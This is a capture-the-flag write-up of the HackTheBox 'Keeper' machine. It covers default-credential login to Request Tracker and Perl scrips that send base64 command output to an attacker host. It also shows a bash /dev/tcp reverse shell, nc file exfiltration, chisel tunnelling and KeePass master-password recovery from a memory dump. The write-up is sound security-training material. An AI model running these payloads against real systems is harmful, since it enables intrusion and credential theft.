Keeper
2023-08-13
INTRODUCTION
Currently, Keeper is still active. It was released as the ninth box for HTB’s Hackers Clash: Open Beta Season II. Keeper is a very easy box, but with a few tricks up its sleeve. Personally, I found a few aspects of this box to be a little frustrating, but in retrospect those things that I found frustrating were probably the most realistic parts of the box. While it is marked as a Linux box, you’ll need to have a beginner’s grasp on some Windows tools to be able to escalate to root.
The foothold is deceptively easy, and had me going way off in the wrong direction for quite some time (although I did end up finding an alternate route to foothold, which is a little interesting). Proper use of OSINT goes a long way with this one. While Keeper is counts as a “box”, it plays a lot like a challenge: equal parts crypto and web. Keeper is the perfect box for anyone wanting a rapid introduction to HackTheBox - and I could definitely imagine HTB integrating this box into Starting Point later on.
RECON
nmap scans
For this box, I’m running the same enumeration strategy as the previous boxes in the Open Beta Season II. I set up a directory for the box, with a nmap
subdirectory. Then set $RADDR
to my target machine’s IP, and scanned it with a simple but broad port scan:
sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan.txt $RADDR
Nmap scan report for 10.10.11.227
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Is this one entirely web? To investigate a little further, I ran a script scan over the ports I just found:
sudo nmap -sV -sC -n -Pn -p22,80 -oN nmap/script-scan.txt $RADDR
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Just to be sure I got everything, I ran a script scan for the top 4000 most popular ports:
sudo nmap -sV -sC -n -Pn --top-ports 4000 -oN nmap/top-4000-ports.txt $RADDR
# No new results
Webserver Strategy
Noting the redirect from the nmap scan, I added keeper.htb
to /etc/hosts and did banner grabbing on that domain:
DOMAIN=keeper.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
☝️ I use
tee
instead of the append operator>>
so that I don’t accidentally blow away my/etc/hosts
file with a typo of>
when I meant to write>>
.
whatweb $RADDR && curl -IL http://$RADDR
Before I start enumerating, I’ll take a quick look at the website. Navigating to the website http://keeper.htb shows only a link. It directs the user towards the tickets.keeper.htb
subdomain:
This is a clear indication that there is a subdomain to watch out for: tickets.keeper.htb
. To make sure that there isn’t more than just tickets.keeper.htb, I performed vhost enumeration:
WLIST="/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 80 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v
No results. That’s confusing: I thought for sure that keeper.htb
would be a result. Did I make a mistake? I already know keeper.htb
exists, so I checked for vhosts in the subdomain way
ffuf -w $WLIST -u http://$RADDR -H "Host: FUZZ.keeper.htb" -c -t 80 -o fuzzing/vhost-keeper.md -of md -timeout 4 -ic -ac -v
[Status: 200, Size: 4236, Words: 407, Lines: 154, Duration: 201ms]
| URL | http://10.10.11.227
* FUZZ: tickets
Then I performed subdomain enumeration
ffuf -w $WLIST -u http://FUZZ.$DOMAIN/ -c -t 80 -o ./fuzzing/subdomain-$DOMAIN.md -of md -timeout 4 -ic -ac -mc 200,204,301,307,401,403,405,500,404 -v
Same result as above: just tickets.keeper.htb
. That’s the expected result. I’ll move on to directory enumeration on http://tickets.keeper.htb:
WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt"
OUTPUT="fuzzing/feroxbuster-root.json"
feroxbuster -w $WLIST -u http://$DOMAIN -A -d 1 -t 100 -T 4 -f --auto-tune --collect-words --filter-status 400,401,402,403,404,405 --output $OUTPUT
Running Feroxbuster
against http://keeper.htb/ had no results other than the page itself.
OUTPUT="fuzzing/feroxbuster-tickets.json"
feroxbuster -w $WLIST -u http://tickets.$DOMAIN -A -d 1 -t 100 -T 4 -f --auto-tune --collect-words --filter-status 400,401,402,403,404,405 --output $OUTPUT
Finally, I decided to try running Feroxbuster against the /rt
web application, providing a cookie to go with it:
OUTPUT="fuzzing/feroxbuster-rt.json"
feroxbuster -w $WLIST -u http://tickets.$DOMAIN/rt -A -d 2 -t 100 -T 4 -f --auto-tune --collect-words --filter-status 400,401,402,403,404,405 --output $OUTPUT -b "RT_SID_tickets.keeper.htb.80=2cb0fe766fdbb24f3c96fb458eb27fbd; TitleBox--_index_html------MTAgaGlnaGVzdCBwcmlvcml0eSB0aWNrZXRzIEkgb3du---0=1; TitleBox--_Admin_Scrips_Create_html------VXNlciBEZWZpbmVkIGNvbmRpdGlvbnMgYW5kIHJlc3VsdHM_---0=1" --burp
… And this provided a mountain of output. Instead, I’ll try an equivalent GoBuster:
gobuster dir -w $WLIST -u http://tickets.$DOMAIN/rt --random-agent -t 100 --timeout 4s -f --status-codes-blacklist 400,401,402,403,404,405 --output $OUTPUT -c "RT_SID_tickets.keeper.htb.80=2cb0fe766fdbb24f3c96fb458eb27fbd; TitleBox--_index_html------MTAgaGlnaGVzdCBwcmlvcml0eSB0aWNrZXRzIEkgb3du---0=1; TitleBox--_Admin_Scrips_Create_html------VXNlciBEZWZpbmVkIGNvbmRpdGlvbnMgYW5kIHJlc3VsdHM_---0=1" --proxy "http://127.0.0.1:8080" --no-error
The result was much more digestable:
OSINT
The tickets.keeper.htb
subdomain appears to be some kind of IT Helpdesk ticket tracking system, with a prominent login form:
The footer of the page shows the following:
»|« RT 4.4.4+dfsg-2ubuntu1 (Debian) Copyright 1996-2019 Best Practical Solutions, LLC.
Distributed under version 2 of the GNU GPL. To inquire about support, training, custom development or licensing, please contact sales@bestpractical.com.
Following the “Best Practical Solutions” link shows from the landing page’s banner that the target’s software version, 4.4.4+dfsg-2ubuntu1 is out of date:
The link in the banner leads to the details on the release, and a link at the bottom of that page leads to the full release notes. Some important snippets of the 5.0.4 release notes are below, and it also references their github repo:
The 5.0.5 release notes
Security * jQuery UI is updated to version 1.13.2, which addresses a security issue in earlier jQuery UI (CVE-2022-31160). This issue does not impact RT directly as RT does not currently use the impacted code. Developer * Update .gitignore to ignore all of var/ to help protect developers from accidentally checking in session data or RT databases in var/ * Add a warning as a hint to RT developers about WebSecureCookies
The 4.4.6 release notes
Security The following security issues are fixed in this release. Thanks to the Polish Financial Supervision Authority IT Security Department (UKNF) for reporting the issue below. * RT is vulnerable to cross-site scripting (XSS) when displaying attachment content with fraudulent content types. This vulnerability is assigned CVE-2022-25802. * RT did not perform full rights checks on accesses to file or image type custom fields, possibly allowing access to these custom fields by users without rights to access to the associated objects (like the ticket it is associated with).
And the configuration instructions on their github page shows the following:
7) Configure the web server, as described in docs/web_deployment.pod, and the email gateway, as described below. NOTE: The default credentials for RT are: User: root Pass: password Not changing the root password from the default is a SECURITY risk!
When you find something as easy as default credentials, it makes sense to try them right away. And whatd’ya know…
… they worked! Superb. The most interesting part of this dashboard looks like the “Admin” menu. Admin > Users shows that there are just two users in the web app, one of which is root:
The “Scrip” System
The option Admin > Scrips also looks interesting. Is that just a typo? It looks like it’s used for selecting or creating new “scrips”, which are automated actions that are performed when a specified condition occurs:
Choosing “User Defined” for either Condition or Action allows the administrator to define the details of the “scrip”. The form doesn’t make it super obvious how this is done, so I looked through their git repo to find an explanation. Thankfully, I ran into Manual-Scrips within their online user manual. The code looks a lot like Perl.
Custom Action Commit/Preparation Code:
$self->ScripActionObj RT::ScripAction, $self->ScripObj RT::Scrip, $self->TemplateObj RT::Template, $self->TicketObj RT::Ticket, $self->TransactionObj RT::Transaction,
This seems promising. Maybe it will even be as simple as using a perl reverse shell or webshell?
FOOTHOLD
Custom Scrip Definition
Note: While this is one route towards the flag, it is not the most direct route. If you’re short on time, please skip ahead to section USER FLAG > Revisiting the Web App for a more straightforward solution. If you want the extra context for the box, or want to learn how to do SSRF using Perl, please read on.
Clearly, the Scrips feature of RT has the ability to run Perl code. To try this out, I’ll define a custom scrip. The condition will simply be set to creating a new ticket, but the action will be set to User Defined. I’ll try a simple perl reverse shell:
Clicking the “click here to resume your request” link simply leads to a 404 page.
To bypass this, I swapped out the destination of the link from being http ://keeper.htb/rt/Admin/Scrips/Modify.html?CSRF_Token=4024b14add0dbd362421caa3a0939815
to being: http://**tickets.**keeper.htb/rt/Admin/Scrips/Modify.html?CSRF_Token=4024b14add0dbd362421caa3a0939815
It seems like I must use this same trick all over the website for the same reason. Either that, or figure out a way to include a referrer header in every request.
Unfortunately, my reverse shell attempt was unsuccessful. Not sure why, yet.
While researching this “Scrips” feature, I found a CVE noting a possible SSRF, so I decided to try it out. I set this as the “preparation” and “commit” code of a Custom Action:
The “commit” action requests
/ssrf-success-commit
but is otherwise the same.
use LWP::UserAgent;
my $url = 'http://10.10.14.10:8000/ssrf-success-preparation';
my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);
if ($response->is_success) {
my $content = $response->decoded_content;
print "Response:\n$content\n"
}
Success! Interestingly, only the “preparation” code was successful… I’ll go back and try a reverse shell, but this time I’ll put the code into the “preparation action” (I used “commit” earlier):
Next I’ll verify my firewall is open and start the reverse shell listener:
sudo ufw allow from $RADDR to any port 4444
bash # Usually I'm in zsh
socat -d -d TCP-LISTEN:4444 STDOUT
And to trigger the reverse shell I’ll try creating a ticket. Still no luck though. Hmm…. I’ll look around the web app a little more and see if I’m missing something.
Oh, DUH! I had neglected to check for open tickets! There is one open ticket, assigned to the other user:
Now I know there should be a file inside Lise’s home directory. I’ll try combining this knowledge with my successful SSRF from earlier to eventually read whatever that attachment is.
I made a new Script, using this as “preparation” code:
use LWP::UserAgent;
my $output = `ls /home | base64 -w 0`;
my $url = 'http://10.10.14.10:8000/ssrf?result=' . $output;
my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);
if ($response->is_success) {
my $content = $response->decoded_content;
print "Response:\n$content\n"
}
After creating a new ticket, I saw the following request come in to my webserver:
10.10.11.227 - - [13/Aug/2023 13:57:37] code 404, message File not found
10.10.11.227 - - [13/Aug/2023 13:57:37] "GET /ssrf?result=bG5vcmdhYXJkCg== HTTP/1.1" 404 -
Decoding this using base64 --decode
yields a single word: lnorgaard. Great! Now I’ll see if, for some reason, I have read access to their home directory:
10.10.11.227 - - [13/Aug/2023 14:02:25] code 404, message File not found
10.10.11.227 - - [13/Aug/2023 14:02:25] "GET /ssrf?result=UlQzMDAwMC56aXAKdXNlci50eHQK HTTP/1.1" 404 -
Haha OK, that was easier than I thought it would be. I’ll try using this same technique to plant an SSH key into their home directory, then. I generated an rsa keypair using the password “lise”, and made a bash one-liner to plant the key:
Hmm, nope. No “result” came back to my webserver. I tried connecting using SSH and the generated key anyway, and it did not work. To check if this was a permissions issue or not, I tried two more commands: one to check what user I was executing commands as, and the other to check permissions on /home/lnorgaard
; they were id
and ls -laR /home/lnorgaard
:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/home/lnorgaard:
total 85384
drwxr-xr-x 4 lnorgaard lnorgaard 4096 Jul 25 20:00 .
drwxr-xr-x 3 root root 4096 May 24 16:09 ..
lrwxrwxrwx 1 root root 9 May 24 15:55 .bash_history -> /dev/null
-rw-r--r-- 1 lnorgaard lnorgaard 220 May 23 14:43 .bash_logout
-rw-r--r-- 1 lnorgaard lnorgaard 3771 May 23 14:43 .bashrc
drwx------ 2 lnorgaard lnorgaard 4096 May 24 16:09 .cache
-rw------- 1 lnorgaard lnorgaard 807 May 23 14:43 .profile
-rw-r--r-- 1 root root 87391651 Aug 13 17:30 RT30000.zip
drwx------ 2 lnorgaard lnorgaard 4096 Jul 24 10:25 .ssh
-rw-r----- 1 root lnorgaard 33 Aug 13 11:25 user.txt
-rw-r--r-- 1 root root 39 Jul 20 19:03 .vimrc
Well, at least that explains why I couldn’t plant an SSH key. I couldn’t get the Perl reverse shell working (for whatever reason), but since I clearly have a reliable RCE, why don’t I just try a simple bash
reverse shell?
I once gain submitted a Scrip with custom “preparation” code, this time using a simple bash reverse shell:
use LWP::UserAgent;
my $output = `bash -c '/bin/bash -i >& /dev/tcp/10.10.14.10/4444 0>&1'`;
my $url = 'http://10.10.14.10:8000/ssrf?result=' . $output;
my $ua = LWP::UserAgent->new;
my $response = $ua->get($url);
if ($response->is_success) {
my $content = $response->decoded_content;
print "Response:\n$content\n"
}
It worked! Wonderful 🐻
Now that I have a reverse shell, I’ll try transferring that “crash dump” that ticket #30000 referred to. I’ll try the simplest way first, using nc
. On the attacker box I opened a nc listener, then on the target I transferred the file. While the attacker box was receiving the file, I watched the file size using watch ls -lah
sudo ufw allow from $RADDR to any port 4445
nc -lvnp 4445 > RT30000.zip
nc -nv 10.10.14.10 4445 < /home/lnorgaard/RT30000.zip
Once the file size stopped changing, I killed the connection from the attacker size, and ran sha256sum
over the file on both hosts. To my amazement, they matched, even 84MB later!
The file itself is in .zip format. When extracted, it produces two files: KeePassDumpFull.dmp
and passcodes.kdbx
.
A kdbx file is a Keepass password database file. KeePass is like an offline password manager: it unlocks with a master password and contains other passwords. If I could get into this file, I bet there are some goodies inside.
The .dmp file could be anything, though. According to the message chain uncovered from with the RT
ticket history for ticket #30000, this file is a crash dump for KeePass on Windows. Not knowing what to open it with, I tried running the .dmp file through binwalk
. There is all kinds of data in there, but at least a couple of times it mentions the following:
gzip compressed data, maximum compression, has original file name: “MostPopularPasswords.txt”, from FAT filesystem (MS-DOS, OS/2, NT), last modified: 2013-07-01 17:20:34
It’s a little strange. Maybe it’s a hint about the passcodes.kdbx
file. Not sure. I’ll come back to it later 🚩.
USER FLAG
User Enumeration: www-data
Unfortunately, enumeration is a bit slow-going with this reverse shell. However, I’ve discovered a few things:
www-data
has write access to a few important directories:/var/lib/request-tracker4
,/var/mail/www-data
, and/var/cache/request-tracker4
. The mail file simply shows the message chain that I already saw with the RT web app.
I ran linpeas, which did not say much, but did point out the RT configuration files. One of these config files is the database configuration file for RT:
For copy-pasting, that connection is on localhost:3306, database “rtdb”, credentials: rtuser : x7UiXkF55nnfC0h. To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel
server:
☝️ Note: I already have proxychains installed, and my
/etc/proxychains.conf
file ends with:... socks5 127.0.0.1 1080 #socks4 127.0.0.1 9050
sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse --key s4ucys3cret
Then, on the target machine, start up the chisel client and background it:
./chisel client 10.10.14.2:9999 R:1080:socks &
Perfect, now I’ll try connecting to the MySQL database using my attacker machine:
proxychains mysql -u rtuser -h 127.0.0.1 -p
I checked out the Users table first, which seemed promising:
However, as soon as I tried to perform a query, everything just stalled-out… completely nonresponsive.
At this point I’m getting really sick of rebuilding my reverse shell, downloading my tools, etc. I decided to take another look at the web app itself to see if I was missing something visible from the outside.
💡 Edit: When i rebuilt my connection, I discovered that, had I gotten even a single step further with checking out this database, I would have recovered the password to
lnorgaard
in a different way - (turns out it is available by two methods: using the database to get it is the longer, more difficult of the two methods)Oh well. Frustrating, but you can’t do everything perfect.
Revisiting the Web App
Yep… right away I found what I had missed. I have been working way way way too hard. I think I need to put a sticker on my laptop saying “search wide, not deep”. The credentials for lnorgaard
are right there, out in the open, under Admin > Users > Select
:
Excellent, so the credentials for lise
are lnorgaard : Welcome2023!
🤕 I feel so stupid for going down that whole SSRF and reverse shell rabbit hole. But hey, kinda cool I found another way to get in though, I suppose. The SSH connection drops you into /home/lnorgaard
, adjacent to the user flag. Simply cat
it out for the points:
cat user.txt
ROOT FLAG
User Enumeration - lnorgaard
I performed my usual Linux User Enumeration strategy. However, I did not uncover much in terms of meaningful results. This is the only seemingly meaningful information that I did find:
lnorgaard
cannotsudo
at all.- Very few directories are writable.
- The
/var/mail/lnorgaard
file shows the same email chain as was seen earlier using the RT web app. It alludes to the KeePass crash dump that is in the home directory. - Linpeas had nothing additional.
KeePass Crash Dump
What am I going to do with this 84MB zip file, and its crash dump .dmp file inside? To get a little context on the problem, I started with some google search. Searching or the terms “KeePass crash dump exploit” was full of references to a CVE from this year: CVE-2023-32784. Not only that, but the very first result of the search was some PoC code to exploit that CVE.
As it turns out, some statistical measurements can be made using system memory and caching, which allows the KeePass master password to be uncovered, to some degree. One notable tool for recovering these is shown in this github repo. However, since it relies on dotnet (and I did not want to deal with the hassle of setting up a .Net environment), I took a look at one of the alternative tools in the links at the bottom of that repo. The Python one, shown in this github repo, looked especially easy to use. Why not try it out?
My guess is that I can use this tool to scan the .dmp
file, to recover the password for the .kdbx
file. I cloned the repo, and ran the tool using the .dmp
file as an input:
git clone https://github.com/CMEPW/keepass-dump-masterkey.git
python3 poc.py ../RT30000/KeePassDumpFull.dmp
It calculated for a minute, but then spat out a bunch of possible passwords!
Amazing. I’ll have to come back to this tool and read about how it works. It’s interesting that the unknown characters are all in the same positions. While it would be easy to scrap together a python script for this, it’s probably even easier to use hashcat. I’ll pretend that the second character (the only character different between those lines) is also a variable character. I’ll use hashcat in mask attack mode to accommodate this:
hashcat --help | grep -i keepass
13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | Password Manager
29700 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) - keyfile only mode | Password Manager
hashcat -a 3 -m 13400 keepass.hc '?a?adgr?ad med fl?ade'
And… it didn’t find a match! How annoying. I even re-tried using the special Danish letters that are not in ASCII - still no luck. So, I did as anyone does these days and summoned the power of big data / search: I plonked it into google, with question marks where the unknown letters are, and immediately got a bunch of baking blogs?! Well, it turns out there is a famous Danish dessert called a “Rødgrød med fløde” (it’s like a pudding with berries in it).
So I tried that password as shown below, in lowercase, uppercase, and propercase. Turns out lowercase was the winner.
Following along with the instructions from the python tool, keepass-dump-masterkey
, once the password is obtained it can be used with kpcli
to log in to the keypass .kdbx
file.
kpcli:/> open passcodes.kdbx
Provide the master password: ************************* # Entered 'rødgrød med fløde'
That worked, now I’ll see what the contents are. By using tab-completion with the show
command, I found two keys:
kpcli:/> show -f passcodes/Network/
passcodes/Network/keeper.htb\ (Ticketing\ Server) passcodes/Network/Ticketing\ System
While the second one just shows the lnorgaard
credential, the first one shows something much more interesting:
That’s a PuTTY RSA key file. PuTTY is a little more annoying that SSH to use; there are a few specific things to do. At this point, all I know is that it works a little differently, and that I can’t use regular ssh, so I’ll install some PuTTY tools from my package manager:
sudo apt install putty putty-tools
I’ll try generating a new key using puttygen
(basically a drop-in replacement for ssh-keygen
):
puttygen -t rsa -b 1024 -o root_id_rsa
# Entered the password I found in the kdbx file
The resulting file had a different Encryption
field than the one from the kdbx
file. I guess I wasn’t supposed to use a password? Also, I could see that the file was too short, so I tried the next step up in length (2048b):
puttygen -t rsa -b 2048 -o root_id_rsa2
# Did not specify a password
This one looked like it was in the right format - which was the whole point of trying puttygen
. Next, I’ll copy the entry from the kdbx
file into a separate file, root_id_rsa3
:
I think now it’s finally ready to use. I opened up PuTTY, specified the connection address and the key:
Once the address and key are specified, I clicked Open
and was presented with a terminal. I just had to specify the username root
, and I was finally in:
Now I am able to cat
out the flag for those sweet sweet root flag points 🍒
cat /root/root.txt
You may be wondering what the mail was. Well, you know all those times when you sudo something on a box where you do not have sudo access, and it tells you THIS INCIDENT WILL BE REPORTED…. Yeah it was just pages and pages of that. A bunch of failed login and sudo attempts 😂
LESSONS LEARNED
Attacker
Key idea. Idea details go here.
Key idea. Idea details go here.
Defender
Key idea. Idea details go here.
Key idea. Idea details go here.
Thanks for reading
🤝🤝🤝🤝
@4wayhandshake